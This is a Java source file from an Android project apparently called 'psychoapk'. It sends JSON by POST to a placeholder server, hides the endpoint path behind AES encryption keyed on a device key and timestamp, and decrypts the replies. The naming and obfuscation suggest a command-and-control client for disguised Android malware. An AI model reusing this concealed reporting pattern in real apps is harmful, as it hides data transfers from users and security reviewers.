psychoapk/app/src/main/java/com/example/notifyservice/PostRequest.java

package com.example.notifyservice;

import android.content.Context;
import android.util.Log;

import androidx.annotation.NonNull;

import org.json.JSONObject;

import java.io.IOException;
import java.util.concurrent.TimeUnit;

import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;

public class PostRequest {

    private Context context;
    private String BASE_URL = "BASE_URL"; // VARIABLE STATIC
    private PostRequestCallback callback;

    public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC

    public PostRequest(Context context, PostRequestCallback callback) {
        this.context = context;
        this.callback = callback;
    }

    public final OkHttpClient client = new OkHttpClient();

    public void execute(String... params) {
        String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
        String key = MainActivity.getKey(context) + timeStamp;

        String urlString = Encryption.aesHexEncrypt(params[0], key);
        String jsonData = params[1];

        Request request = new Request.Builder()
                .url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
                .post(RequestBody.create(jsonData.getBytes())).header(
                        "timestamp", timeStamp // STATIC
                )
                .build();

        Call call = client.newCall(request);
        call.enqueue(new Callback() {
            public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException {
                onPostExecute(response.body() != null ? response.body().string() : "");
            }

            public void onFailure(@NonNull Call call, @NonNull IOException e) {

            }
        });
    }


    protected void onPostExecute(String result) {
        try {
            callback.onPostResponse((new JSONObject(
                    Encryption.aesDecrypt(
                        result
                    )
            )));
        } catch (Exception e) {
        }
    }

}